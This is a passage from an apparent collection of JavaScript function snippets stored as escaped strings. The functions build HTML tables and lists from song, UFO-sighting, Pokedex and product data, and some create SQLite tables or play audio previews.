table.append(\"tbody\").text(\"Location: \" + location[0]);\n table.append(\"tbody\").text(\"bbtype: \" + bbtype[0]);\n table.append(\"tbody\").text(\"wfreq: \" + wfreq[0])\n }", "function showExampleSongs() {\n\tvar acousticnessExamples = ['7ef4DlsgrMEH11cDZd32M6','64Tp4KN5U5rtqrasP5a7FH','3U4isOIWM3VvDubwSI3y7a'];\n\tvar danceabilityExamples = ['6hUbZBdGn909BiTsv70HP6','7DFNE7NO0raLIUbgzY2rzm','7qiZfU4dY1lWllzX7mPBI3'];\n\tvar energyExamples = ['3xXBsjrbG1xQIm1xv1cKOt','40riOy7x9W7GXjyGp4pjAv','0EYOdF5FCkgOJJla8DI2Md'];\n\tvar instrumentalnessExamples = ['2374M0fQpWi3dLnB54qaLX','0q6LuUqGLUiCPP1cbdwFs3','5pT4qRIpNb7cASsnMfE1Hc'];\n\tvar tempoExamples = ['3d9DChrdc6BOeFsbrZ3Is0','0ofHAoxe9vBkTCp2UQIavz','3GXhz5PnLdkG4DEWNzL8z8'];\n\tvar valenceExamples = ['6b2oQwSGFkzsMtQruIWm2p','6Qyc6fS4DsZjB2mRW9DsQs','1KsI8NEeAna8ZIdojI3FiT'];\n\n\n\tgetExampleSongs(acousticnessExamples, 'acousticness');\n\tgetExampleSongs(danceabilityExamples, 'danceability');\n\tgetExampleSongs(energyExamples, 'energy');\n\tgetExampleSongs(instrumentalnessExamples, 'instrumentalness');\n\tgetExampleSongs(tempoExamples, 'tempo');\n\tgetExampleSongs(valenceExamples, 'valence');\n}", "makeSongList() {\n \tconst selectContainer = document.getElementById(\"song-selector\");\n \tlet songList = fetch('https://github.com/CSTNicole/1206_final_project/tree/master/songs');\n\t\tlet songTitle = {};\n\n\t\tfor (const key in songs) {\n\t\t\t\n\t\t\tfor (const innerKey in songs[key]) {\n\n\t\t\t\tif (innerKey === 'title') {\n\t\t\t\t let option = document.createElement('option');\n\t\t\t\t\tlet text = document.createTextNode(songs[key][innerKey]);\n\t\t\t\t\toption.appendChild(text);\n\t\t\t\t\tselectContainer.appendChild(option);\n\t\t\t\t\tsongTitle[key] = songs[key][innerKey];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n }", "function setupTable(tx) {\r\n\ttx.executeSql('CREATE TABLE IF NOT EXISTS HIMM (id INTEGER PRIMARY KEY AUTOINCREMENT, Title TEXT NOT NULL, Content TEXT NOT NULL,Category INTEGER, FileURI TEXT,Longitude TEXT, Latitude TEXT,weather,updated)');\r\n}", "function load_tracks(response, album_name){\n var id_modal=\"#modal\";\n $(id_modal+\" h4\").text(\"Album\");\n var result='<table class=\"table\">'+\n '<thead>'+\n '<tr>'+\n '<th colspan=\"5\" class=\"text-center\"><h2>'+album_name+'</h2></th>'+\n '</tr>'+\n '</thead>'+\n '<tbody>'+\n '<tr>'+\n '<th class=\"text-center\">Disc Number</th><th class=\"text-center\">Track Number</th><th class=\"text-center\">Track Name</th><th class=\"text-center\">Duration</th><th class=\"text-center\">Preview</th><th>Video</th><th>Favourite</th>'+\n '</tr>';\n \n \n for (var i=0; i< response[\"items\"].length; i++){\n var track = response[\"items\"][i]; //save a album object in a var artist \n var disc_number = track.disc_number;\n var duration_ms = track.duration_ms;\n var external_urls = track.external_urls;\n var href = track.href;\n var id = track.id;\n var name = track.name;\n var preview_url = track.preview_url;\n var track_number = track.track_number;\n \n \n result = result +'<tr>'+\n '<td class=\"text-center\">'+disc_number+'</td>'+\n '<td class=\"text-center\">'+track_number+'</td>'+\n '<td class=\"text-center\">'+name+'</td>'+\n '<td class=\"text-center\">'+millisToMinutesAndSeconds(duration_ms)+'</td>'+\n '<td class=\"text-center\"><a target=\"_blank\" href=\"'+preview_url+'\"><i class=\"fa fa-music\" aria-hidden=\"true\"></i></a></td>'+\n '<td class=\"text-center\"><a id=\"'+name+'\"><i class=\"fa fa-video-camera\" aria-hidden=\"true\"></i></a></td>'+\n '<td style=\"cursor: pointer;\" id =\"'+id+'\"class=\"text-center\"><i class=\"fa fa-plus\" aria-hidden=\"true\"></i></td>'+\n '</tr>'; \n }\n result = result + '</tbody>'+\n '</table>'+\n '<div id=\"contentplayer\"></div>';\n \n $(id_modal+\" .modal-body\").empty();\n $(id_modal+\" .modal-body\").append(result);\n \n $(\"#modal .modal-body .fa-video-camera\").click(function (){\n \n var name = \"\"+$(this).parents(\"tr\").children(\"td:eq(2)\").text();\n //formateo para quitar la parte entre parentesis que tienen algunas canciones\n var fin = name.search(/[(]/);\n if (fin !== -1){\n name = name.substring(0,fin);\n }\n \n $(\"#contentplayer\").empty();\n $(\"#contentplayer\").append('<div id=\"player\"></div>');\n var request = gapi.client.youtube.search.list({\n part: \"snippet\",\n type: \"video\",\n //encodeURIComponent($(\"#searchInput\").val()).replace(/%20/g,\"+\"),\n q: artistNameSelected+\" \"+ name,\n maxResults: 1\n //order: \"viewCount\"\n });\n //execute request\n request.execute (function (response){\n console.log(response);\n loadVideo(response.items[0].id.videoId);\n });\n });\n \n //Add to favourite\n $(\".fa-plus\").unbind(\"click\").click(function (){\n var id = $(this).parent().attr(\"id\");\n saveFavourite (\"favourite\",window.localStorage.getItem(\"spotyUser\"), id);\n alert(\"Track agregado correctamente\");\n });\n $(\"#modal button\").click(function (){\n player.stopVideo();\n \n });\n \n $(id_modal).modal('show');\n}", "function showData() {\n console.log(\"showData()\");\n // find the shelf element\n const songsContainer = document.querySelector(\"#container\");\n // loop through all the people listed in the Airtable data.\n // Inside is the code we are applying for EACH song in the list of songs.\n songs.forEach((song) => {\n // Print out what a single songs’s data feidls looks like\n console.log(\"SHOWING THE SONG\")\n console.log(song.fields);\n /** CREATE CONTAINER */\n const songContainer = document.createElement(\"div\");\n songContainer.classList.add(\"songContainer\");\n /*******************\n ADD THE TITLE\n *******************/\n const titleElement = document.createElement(\"h2\");\n titleElement.innerText = song.fields.title;\n songContainer.appendChild(titleElement);\n /*******************\n ADD ARTIST TITLE\n *******************/\n const artistElement = document.createElement(\"p\");\n artistElement.innerText = song.fields.artist;\n songContainer.appendChild(artistElement);\n /*******************\n ADD SONG RATING\n *******************/\n let ratingElement = document.createElement(\"p\");\n ratingElement.innerText = \"Rating: \"+ song.fields.rating;\n songContainer.appendChild(ratingElement);\n /*******************\n ADD GENRES\n *******************/\n let genresList = song.fields.genres;\n genresList.forEach(function(genre){\n const genreElement = document.createElement(\"span\");\n genreElement.classList.add(\"genreTag\");\n genreElement.innerText = genre;\n songContainer.appendChild(genreElement);\n songContainer.classList.add(genre);\n // TODO: Add this genre name as a class to the songContainer\n // let filterFolk = document.querySelector(“#folk”);\n // filterFolk.addEventListener(“click”, function(){\n // if (songContainer.classList.contains(“folk”)){\n // songConntainer.display = (“folk”);\n })\n /***********\n TODO: CREATE FILTER-BY-GENRE FUNCTIONALITY\n **********/\n let filterDreampop = document.querySelector(\"#dreampop\");\n filterDreampop.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"dreampop\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterShoegaze = document.querySelector(\"#shoegaze\");\n filterShoegaze.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"shoegaze\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterPop = document.querySelector(\"#pop\");\n filterPop.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"pop\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterJazz = document.querySelector(\"#jazz\");\n filterJazz.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"jazz\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterHiphop = document.querySelector(\"#hiphop\");\n filterHiphop.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"hiphop\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterElectropop = document.querySelector(\"#electropop\");\n filterElectropop.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"electropop\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterAlternative = document.querySelector(\"#alternative\");\n filterAlternative.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"alternative\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterRandb = document.querySelector(\"#randb\");\n filterRandB.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"randb\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterIndiepop = document.querySelector(\"#Indiepop\");\n filterIndiepop.addEventListener(\"click\", function(){\n if (songContainer.classList.contains(\"indiepop\")){\n songContainer.style.display = \"block\";\n }else{\n songContainer.style.display = \"none\"\n }\n });\n let filterReset = document.querySelector(\"#reset\");\n filterReset.addEventListener(\"click\", function(){\n songContainer.style.display = \"block\";\n });\n songsContainer.appendChild(songContainer);\n });\n}", "function buildTable(start, end, gen)\n{\n\t//initialize first row of table\n\tvar out = \"<table style='width:100%', font-family:.pokemonfont3>\";\n\tout += \"<tr>\"\n\t\t+ \"<td>SPRITE</td>\"\n\t\t+ \"<td>ID</td>\"\n\t\t+ \"<td>NAME</td>\"\n\t\t+ \"<td>DESC</td>\"\n\t\t+ \"<td>HEIGHT</td>\"\n\t\t+ \"<td>WEIGHT</td>\"\n\t\t+ \"<td>BMI</td>\"\n\t\t+ \"<td>STATUS</td>\"\n\t\t+ \"</tr>\";\n\t\t\n\t//iterate over a range of pokedex entries\n\tfor(var i = start; i <= end; ++i)\n\t{\n\t\tvar dexJSON = getEntry(i);\n\t\tvar height = dexJSON.height / 10;\n\t\tvar weight = dexJSON.weight / 10;\n\t\t\n\t\tout += \"<tr>\"\n\t\t\t+ \"<td width='150'><img src='\" + getImage(dexJSON) + \"'></td>\"\n\t\t\t+ \"<td>\" + dexJSON.national_id + \"</td>\"\n\t\t\t+ \"<td width='100'>\" + dexJSON.name + \"</td>\"\n\t\t\t+ \"<td width='250'>\" + getDesc(dexJSON, gen) + \"</td>\"\n\t\t\t+ \"<td>\" + height + \" m</td>\"\n\t\t\t+ \"<td>\" + weight + \" kg</td>\"\n\t\t\t+ \"<td>\" + calcBMI(height,weight) + \"</td>\"\n\t\t\t+ \"<td>\" + interpretBMI(calcBMI(height,weight)) + \"</td>\"\n\t\t\t+ \"</tr>\";\n\t}\n\t\n\tout += \"</table>\";\n\tdocument.getElementById(\"id01\").innerHTML += out\n}", "function buildtable(table) {\n \n \n \n console.log(table)\n\n // appending data into table\n table.forEach((item) => {\n \n var row = tbody.append(\"tr\");\n row.append(\"td\").text(item.datetime);\n row.append(\"td\").text(item.city);\n row.append(\"td\").text(item.state);\n row.append(\"td\").text(item.country);\n row.append(\"td\").text(item.shape);\n row.append(\"td\").text(item.durationMinutes);\n row.append(\"td\").text(item.comments);\n })\n}", "function makeTable() {\n var queryfortable = \"Select * FROM products\";\n connection.query(queryfortable, function(error, results){\n if(error) throw error;\n var tableMaker = new Table ({\n head: [\"ID\", \"Product Name\", \"Department\", \"Price\", \"Stock\"],\n colWidths: [10,25,20,10,20]\n });\n for(var i = 0; i < results.length; i++){\n tableMaker.push(\n [results[i].item_id,\n results[i].product_name,\n results[i].department_name, \n results[i].price,\n results[i].stock_quantity]\n );\n }\n console.log(tableMaker.toString());\n firstPrompt()\n })\n }", "function myTable() {\n connection.query('SELECT * FROM orders', (err, res) => {\n const myTable = [];\n\n res.forEach(element => {\n let newRow = {};\n newRow.id = element.id;\n newRow.name = element.name;\n newRow.price = element.price;\n newRow.stock_quantity = element.stock_quantity;\n myTable.push(newRow);\n });\n console.table(myTable);\n });\n \n start(); //moves on to the store questions\n}", "function buildTable(data) {\n var table = document.createElement(\"table\");\n var row,\n properties,\n i, j,\n headerEle,\n dataEle,\n dataObj,\n text;\n if (data.length > 0) {\n //Create table header rows and append to table variable\n row = table.appendChild(document.createElement(\"tr\"));\n properties = Object.keys(data[0]);\n\n for (i = 0; i < properties.length; i++) {\n headerEle = document.createElement(\"th\");\n text = document.createTextNode(properties[i]);\n headerEle.appendChild(text);\n row.appendChild(headerEle);\n }\n\n // create rest of the table\n for (i = 0; i < data.length; i++) {\n row = table.appendChild(document.createElement(\"tr\"));\n dataObj = data[i];\n for (j = 0; j < properties.length; j++) {\n dataEle = document.createElement(\"td\");\n text = document.createTextNode(dataObj[properties[j]]);\n dataEle.appendChild(text);\n row.appendChild(dataEle);\n }\n }\n }\n return table;\n}", "function buildTable(ufoInfo) {\n // First, clear out any existing data\n tbody.html(\"\");\n\n // Next, loop through each object in the data\n // and append a row and cells for each value in the row\n ufoInfo.forEach((ufoSighting) => {\n let row = tbody.append('tr');\n\n // Loop through each field in the dataRow and add\n // each value as a table cell (td)\n Object.entries(ufoSighting).forEach(([key, value]) => { \n let tableBody = row.append('td');\n tableBody.text(value);\n });\n });\n}", "function ShowMediaTableList(json, media, type, mode)\n{\n var i = 0;\n var img, html = [];\n var hide, sub, noposter, label;\n \n // Clear thumbnail page.\n $('#display_thumb').hide().html(\"\");\n \n if (json.media[0].id != 0)\n {\n if (media != \"music\") {\n noposter = 'images/no_poster.jpg'; \n }\n else {\n noposter = 'images/no_cover.jpg'; \n } \n \n html[i++] = '<div class=\"display_scroll\"><table class=\"' + media + '\">';\n \n $.each(json.media, function(key, value)\n { \n if (value.hide && mode == \"Hide/Show\") {\n hide = \" hide\";\n }\n else {\n hide = \"\";\n }\n \n html[i] = '<tr class=\"i' + value.id + hide + '\">';\n \n if (value.poster) {\n img = json.params.thumbs + '/' + value.poster + '.jpg' + \"?v=\" + value.refresh;\n }\n else {\n img = noposter;\n }\n \n // If sets, series or songs then label covers.\n if (type == \"sets\" || type == \"series\" || type == \"songs\") {\n label = '<img class=\"label\" src=\"images/' + type + '.png\"/>';\n }\n else {\n label = \"\";\n }\n \n html[i] += '<td class=\"poster\"><img src=\"' + img + '\"/>' + label + '</td>'; \n html[i] += '<td class=\"title\"><div>' + value.title + '</div></td>';\n \n sub = \"\";\n switch(type) \n { \n case \"sets\" : sub = \" movie\";\n if (value.sub > 1) { sub += \"s\"; }\n break;\n \n case \"tvtitles\" : sub = \" episode\";\n if (value.sub > 1) { sub += \"s\"; }\n break;\n \n case \"series\" : sub = \" season\";\n if (value.sub > 1) { sub += \"s\"; }\n break;\n \n case \"seasons\" : sub = \" episode\";\n if (value.sub > 1) { sub += \"s\"; }\n break;\n \n case \"songs\" : sub = \" track\";\n if (value.sub > 1) { sub += \"s\"; }\n break; \n } \n \n html[i] += '<td class=\"sub\"><div>' + value.sub + sub + '</div></td>';\n \n if (value.aux) {\n html[i] += '<td class=\"aux\">' + value.aux + '</td>';\n } \n \n if (value.playcount > 0) {\n html[i] += '<td class=\"mark\"><img src=\"images/watched.png\"/>';\n }\n else if (value.playcount < 0) {\n html[i] += '<td class=\"mark\"><img src=\"images/deleted.png\"/>';\n } \n else if (value.playcount == 0) { \n html[i] += '<td class=\"mark\">&nbsp;</td>';\n }\n \n html[i] += '</tr>';\n i++;\n });\n\n html[i++] = '</table></div>';\n } \n \n $('#display_list')[0].innerHTML = html.join('');\n $('#display_list').show();\n \n // If images not found then show no poster.\n $(\"#display_list img\").error(function(){\n if (media != \"music\") {\n $(this).attr('src', 'images/no_poster.jpg');\n }\n else {\n $(this).attr('src', 'images/no_cover.jpg');\n }\n });\n \n // Change table cells and image size.\n if (type == \"episodes\") \n {\n $(\"#display_list .tvshows .poster\").width(57);\n $(\"#display_list .tvshows .poster img\").width(50);\n } \n \n \n $(\"#display_list .display_scroll\").slimScroll({\n width:'100%',\n height:'auto',\n alwaysVisible:true,\n color:'gray'\n }); \n}", "function albumTracksToTable (pl, target, uri) {\n var track, previousTrack, nextTrack\n var html = ''\n $(target).empty()\n $(target).attr('data', uri)\n for (var i = 0; i < pl.length; i++) {\n previousTrack = track || undefined\n nextTrack = i < pl.length - 1 ? pl[i + 1] : undefined\n track = pl[i]\n popupData[track.uri] = track\n html += renderSongLi(previousTrack, track, nextTrack, uri, '', target, i, pl.length)\n }\n $(target).append(html)\n updatePlayIcons(songdata.track.uri, songdata.tlid, controls.getIconForAction())\n}", "function topSongs(songData) {\n var info = {};\n for (var i = 1; i < songData.length; i++) {\n info = {\n artist: songData[i].artist.name,\n song: songData[i].name,\n listeners: songData[i].listeners,\n image: songData[i].image[2]['#text']\n };\n generateTemplate('top-songs', info);\n }\n }", "function getSongs(songData) { \n\t\tconsole.log(\"SongDataObj\", songData);\n\t\tlet songs = songData.songs;\n\n \t$.each(songs, (key, song) => {\n \t\t$showTitle.append(`<div>${song.song} by ${song.artist} on the album ${song.album}</div>`);\n \t});\n\t}", "function displayPopularity(popularity_list, song_artist) {\n var num = 5;\n var pop_list = [];\n var table_info = `<table class='pop-count table-striped table-bordered'>\n <colgroup>\n \t\t\t <col span=\"1\" style=\"width: 55%;\">\n\t\t\t <col span=\"1\" style=\"width: 35%;\">\n \t\t\t <col span=\"1\" style=\"width: 10%;\">\n </colgroup>\n <thead>\n <tr>\n <th>Song Name</th>\n\t\t\t <th>Artist</th>\n <th>Popularity</th>\n </tr>\n </thead>\n <tbody>`;\n\n for (var song in popularity_list) {\n pop_list.push([song, popularity_list[song]]);\n }\n\n pop_list.sort(function(a, b) {\n return b[1] - a[1];\n });\n\n // generate table for high\n var e = document.createElement('div');\n e.className = \"pop_table\";\n\n for (i = 0; i < Math.min(num, pop_list.length); i++) {\n table_info += \"<tr><td align='left'>\" + pop_list[i][0] + \"</td><td align='left'>\" + song_artist[pop_list[i][0]] + \"</td><td align='right'>\" + pop_list[i][1] + \"</td></tr>\";\n }\n\n table_info += \"</table>\";\n e.innerHTML = table_info;\n\n var h = document.createElement('h2');\n h.innerHTML = \"Popular Tracks\";\n document.getElementById(\"popularity-high\").append(h);\n document.getElementById(\"popularity-high\").append(e);\n}", "function build_table(){\n S.table = new Tabulator(\"#config-table\", {\n data: S.config.json.table || [],\n columns: C.column.map(function(e){\n e.downloadTitle = e.field;\n return e;\n }),\n //fit columns to width of table\n layout: \"fitColumns\",\n //hide columns that dont fit on the table\n responsiveLayout: \"hide\",\n //show tool tips on cells\n tooltips: true,\n //when adding a new row, add it to the top of the table\n addRowPos: \"top\",\n //allow undo and redo actions on the table\n history: true,\n //paginate the data\n pagination: \"local\",\n //allow 7 rows per page of data\n paginationSize: 10,\n //allow column order to be changed\n movableColumns: true,\n //allow row order to be changed\n resizableRows: true,\n /* set height of table (in CSS or here),\n * this enables the Virtual DOM and\n * improves render speed dramatically (can be any valid css height value)\n */\n height: 360\n });\n }", "function _buildTable() {\n // _displayLoading(true);\n _addGradeRange();\n _renderSelects();\n var table = _setupDataTable(renderTable());\n renderFeatures();\n}", "function songDetails(name, album, artist, durationInSeconds, lyricWriter, genre, year, isAHitSong, backingVocals, percussion, guitar, videoEditing){\n this.name = name;\n this.album = album;\n this.artist = artist;\n this.durationInSeconds = durationInSeconds;\n this.lyricWriter = lyricWriter;\n this.genre = genre;\n this.year = year;\n this.isAHitSong = isAHitSong;\n this.backingVocals = backingVocals;\n this.percussion = percussion;\n this.guitar = guitar;\n this.videoEditing = videoEditing;\n this.showName = function(){\n console.log(\"Name of the song is: \" + this.name);\n };\n this.showAlbum = function(){\n console.log(\"Album of the song is: \" + this.album);\n };\n this.showArtist = function(){\n console.log(\"Artist of the song is: \" + this.artist);\n };\n this.showDurationInSeconds = function(){\n console.log(\"Duration of the song in seconds is: \" + this.durationInSeconds);\n };\n this.showLyricWriter = function(){\n console.log(\"Lyric Writer of the song is: \" + this.lyricWriter);\n };\n this.showGenre = function(){\n console.log(\"Genre of the song is: \" + this.genre);\n };\n this.showYear = function(){\n console.log(\"Year of the song is: \" + this.year);\n };\n this.showIsAHitSong = function(){\n if(this.isAHitSong === true){\n console.log(\"This is a hit song\");\n }\n else{\n console.log(\"This is a flop song\");\n }\n };\n this.showBackingVocalsBy = function(){\n console.log(\"Backing Vocals by: \" + this.backingVocals.join(\", \"));\n };\n this.showPercussionBy = function(){\n console.log(\"Percussion By: \" + this.percussion);\n };\n this.showGuitarBy = function(){\n console.log(\"Guitar By: \" + this.guitar);\n };\n this.showVideoEditingBy = function(){\n console.log(\"Video Editing By: \" + this.videoEditing);\n };\n}", "function buildTable(table){\n\n // loop through data\n table.forEach((item) => {\n\n // append rows\n let row = tbody.append(\"tr\");\n\n // iterate through keys and values\n Object.entries(item).forEach(([key, value]) => {\n\n // append cells \n let cell = row.append(\"td\");\n\n // add text value to each cell\n cell.text(value);\n });\n });\n}", "function getList() {\r\n var output = \"\";\r\n var data = canciones;\r\n\r\n for (var i in data) {\r\n //console.log(data[i])\r\n let cancion = JSON.stringify(data[i]);\r\n\r\n output += \"<tr>\" +\r\n \"<td> <img class='song_photo' src=' \" + data[i].photo + \"'></td>\" +\r\n \"<td><span class='name' >\" + data[i].titulo + \"</span></br><span class='per' >\" +\r\n data[i].artista + \"</span></td>\" +\r\n \"<td>\" +\r\n \"<i class='fas fa-play plays'onclick='playMusic(\" + cancion + \")'></i>\" +\r\n \"</td>\" +\r\n \"</tr>\";\r\n }\r\n\r\n document.getElementById(\"_table\").innerHTML = output;\r\n\r\n}", "function ShowMediaTableThumbs(json, media, type, mode)\n{\n var i = 0, j = 0;\n var img, html = [];\n var hide, noposter;\n \n // Clear list page.\n $('#display_list').hide().html(\"\");\n \n if (json.media[0].id != 0)\n {\n if (media != \"music\") {\n noposter = 'images/no_poster.jpg'; \n }\n else {\n noposter = 'images/no_cover.jpg'; \n }\n \n html[i++] = '<table class=\"' + media + '\">';\n \n $.each(json.media, function(key, value)\n { \n if (j == 0) {\n html[i++] = '<tr>';\n }\n else if ( j == json.params.column) {\n html[i++] = '</tr>';\n j = 0;\n } \n \n if (value.hide && mode == \"Hide/Show\") {\n hide = \" hide\";\n }\n else {\n hide = \"\";\n }\n \n if (value.poster) {\n img = json.params.thumbs + '/' + value.poster + '.jpg' + \"?v=\" + value.refresh;\n }\n else {\n img = noposter;\n }\n \n html[i] = '<td class=\"i' + value.id + hide + '\">'; \n html[i] += '<img src=\"' + img + '\"/>';\n \n // If sets, series or songs then label covers.\n if (type == \"sets\" || type == \"series\" || type == \"songs\") {\n html[i] += '<img class=\"label\" src=\"images/' + type + '.png\"/>';\n }\n \n if (value.playcount > 0) {\n html[i] += '<img class=\"mark\" src=\"images/watched.png\"/>';\n }\n else if (value.playcount < 0) {\n html[i] += '<img class=\"mark\" src=\"images/deleted.png\"/>';\n }\n \n html[i] += '<div>' + value.title + '</div></td>';\n i++; j++;\n });\n\n html[i++] = '</table>';\n }\n \n $('#display_thumb')[0].innerHTML = html.join('');\n $('#display_thumb').show();\n \n // Change table cells and image size.\n if (type == \"episodes\")\n {\n $(\"#display_thumb td\").width(250);\n $(\"#display_thumb img\").not(\".mark\").width(220);\n $(\"#display_thumb td div\").width(240);\n } \n \n // If images not found then show no poster.\n $(\"#display_thumb img\").error(function()\n {\n if (media != \"music\") {\n $(this).attr('src', 'images/no_poster.jpg');\n }\n else {\n $(this).attr('src', 'images/no_cover.jpg');\n }\n });\n}", "function createTable() {\r\n $tbody.innerHTML = \"\";\r\n \r\n var sighting, sightingKeys;\r\n var dom;\r\n var columnValue;\r\n \r\n for (var i = 0; i < ufoData.length; i++) {\r\n sighting = ufoData[i];\r\n sightingKeys = Object.keys(sighting);\r\n\t\r\n $dom = $tbody.insertRow(i);\r\n\t/* insert the column values: 0=date, 1=city, 2=state, 3=country, 4=shape, 5=duration, 6=comments*/\t\r\n for (var j = 0; j < sightingKeys.length; j++) {\r\n columnValue = sightingKeys[j];\r\n $dom.insertCell(j).innerText = sighting[columnValue];\r\n }\r\n }\r\n}", "function getSongPlaylist() {\n axios.get(contextPath + \"/read\")\n .then(res => {\n table.innerHTML = \"\";\n\n const SongPlaylists = res.data;\n console.log(SongPlaylists);\n\n SongPlaylists.forEach(SongPlaylist => {\n const newSongPlaylist = renderSongPlaylist(SongPlaylist);\n console.log(\"New SongPlaylist: \", newSongPlaylist);\n table.appendChild(newSongPlaylist);\n });\n }).catch(err => console.error(err))\n}", "create_search_history_table(){\n\t\tvar create_search_history_cols = \"(id integer PRIMARY KEY AUTOINCREMENT, project_id integer, keyword varchar, file_name varchar, file_line integer, file_pos integer, user_id integer, created_at datetime, updated_at datetime)\";\n\t\tvar create_search_history_query = \"CREATE TABLE IF NOT EXISTS search_histories \" + create_search_history_cols + \";\";\n\t\tthis.sqlite3_db.exec(create_search_history_query);\n\t}", "function buildSong(songSrc, blockArray) {\n\t// Create a new audio player for this song\n\tvar audioPlayer = new AudioPlayer({\n\t\tsongSrc: songSrc,\n\t\tcontainerID: '#audio-controls',\n\t\tplayBtnID: '#play-btn',\n\t\tpauseBtnID: '#pause-btn',\n\t});\n\t\n\tif(blockArray) \n\tvar fretBoard = new FretBoard({\n\t\tbodyID: '#fret-board',\n\t\tblocks: blockArray\n\t});\n}", "function buildTable(tableData){\n // Dynamically build table\n tableData.forEach(iteams => {\n var row = tbody.append('tr');\n\n Object.values(iteams).forEach(val => {\n row.append('td').text(val); \n });\n })\n}", "function onSuccessfulSearch(response) {\n var i,\n\tsize,\n\tul,\n\tli,\n\tarrayOfTracks,\n\tlength,\n\tresults,\n\tname,\n artists,\n\tpreview_url,\n\tplaying,\n\taudioObject,\n\tcurrentlyPlaying,\n\tmessage;\n \n console.log(response);\n\n\n\n var withinDiv = document.getElementById(\"search-results\").getElementsByTagName(\"tbody\");\n while(withinDiv.length){\n \twithinDiv[0].parentNode.removeChild(withinDiv[0]);\n }\n console.log(withinDiv);\n\n ul = document.createElement(\"tbody\");\n\n \n\n arrayOfTracks = response.tracks.items;\n length = response.tracks.items.length;\n for (i=0; i < length; i++){\n \tname = arrayOfTracks[i].name;\n artists = arrayOfTracks[i].artists[0].name;\n \tpreview_url = arrayOfTracks[i].preview_url;\n \tul.appendChild(generateListItemNode(name, preview_url, artists));\n }\n playing = false;\n\n //this appends the table to the document\n document.getElementById(\"search-results\").appendChild(ul);\n //then I add event listener so that when the table is clicked on, the songs play\n document.getElementById(\"search-results\").addEventListener('click', function(e){\n \te.preventDefault();\n\t\t\n \t//console.log(target);\n\t\tvar target, link;\n\t\t//console.log(link);\n \tif (playing){\n \t\taudioObject.pause();\n \t\ttarget = e.target;\n \t\t//playing = false;\n \t\tif (currentlyPlaying == target.title){\n \t\t\tplaying = false;\n \t\t\tmessage = \"\";\n \tdocument.getElementById(\"now-playing\").innerText = message;\n \t\t\t\n \t\t\t\n \t\t}\n \t\telse{\n \t\t\ttarget = e.target;\n \t\t\tlink = target.href\n \t\t\taudioObject = new Audio(link);\n \t\t\taudioObject.play();\n \t\t\tplaying = true;\n \t\t\taudioObject.addEventListener('ended', function () {\n \tplaying = false;\n \tmessage = \"\";\n \t\tdocument.getElementById(\"now-playing\").innerText = message;\n \t\n \t});\n\n \tcurrentlyPlaying = target.title;\n \tmessage = \"Now Playing>>> \"+currentlyPlaying\n \tdocument.getElementById(\"now-playing\").innerText = message;\n \t\n\n\n \t\t}\n\n \t}\n \telse{\n \t\ttarget = e.target;\n \t\tlink = target.href;\n \t\taudioObject = new Audio(link);\n \t\taudioObject.play();\n \t\tplaying = true;\n \t\taudioObject.addEventListener('ended', function () {\n playing = false;\n message = \"\";\n \tdocument.getElementById(\"now-playing\").innerText = message;\n \n });\n\n currentlyPlaying = target.title;\n console.log(currentlyPlaying);\n message = \"Now Playing>>> \"+currentlyPlaying\n document.getElementById(\"now-playing\").innerText = message;\n \n \t}\n\n \n\n\n });\n\n\t\n\n\n}", "function loadSongs() {\n if (!store.getItem('songs')) createStore()\n var songArray = JSON.parse(store.getItem('songs'))\n for (var i = 0; i < songArray.length; i++) {\n var para = document.createElement('P');\n var t = document.createTextNode(songArray[i]);\n para.appendChild(t);\n document.querySelector('.songs').appendChild(para);\n }\n}", "function constructTable()\n{\n\tvar el = document.getElementById(\"varnishstat\");\n\tvar table = document.getElementById(\"varnishstat-inner\");\n\tsparklineDataHistory = {};\n\tel.removeChild(table);\n\ttable = document.createElement(\"table\");\n\ttable.className = \"table table-condensed\";\n\ttable.id = \"varnishstat-inner\";\n\theader = table.createTHead();\n\ttr = header.insertRow(0);\n\ttd = tr.insertCell(0);\n\ttd.textContent = \"Name\";\n\ttd.className = \"varnishstat-Name\";\n\ttd = tr.insertCell(1);\n\ttd.textContent = \"Current\";\n\ttd.className = \"varnishstat-Current\";\n\ttd = tr.insertCell(2);\n\ttd.textContent = \"Change\";\n\ttd.className = \"varnishstat-Change\";\n\ttd = tr.insertCell(3);\n\ttd.textContent = \"Average\";\n\ttd.className = \"varnishstat-Average\";\n\ttd = tr.insertCell(4);\n\ttd.textContent = \"Average 10\";\n\ttd.className = \"varnishstat-Average10\";\n\ttd = tr.insertCell(5);\n\ttd.textContent = \"Average 100\";\n\ttd.className = \"varnishstat-Average100\";\n\ttd = tr.insertCell(6);\n\ttd.textContent = \"Average 1000\";\n\ttd.className = \"varnishstat-Average1000\";\n\ttd = tr.insertCell(7);\n\ttd.textContent = \"Description\";\n\ttd.className = \"varnishstat-Description\";\n\t\n\tfor (v in vdata[0]) {\n\t\tif (v == 'timestamp')\n\t\t\tcontinue;\n\t\tignoreNullTable[v] = ignoreNullTable[v] || vdata[0][v]['value'] > 0;\n\t\tif (!ignoreNullTable[v] && ignore_null)\n\t\t\tcontinue;\n\t\torigv = v;\n\t\tv = n(v);\n\t\ttr = table.insertRow(-1);\n\t\ttd = tr.insertCell(0);\n\t\ttd.id = v + \"-name\";\n\t\ttd.textContent = origv;\n\t\ttd = tr.insertCell(1);\n\t\tx = document.createElement(\"div\");\n\t\tx.id = v + 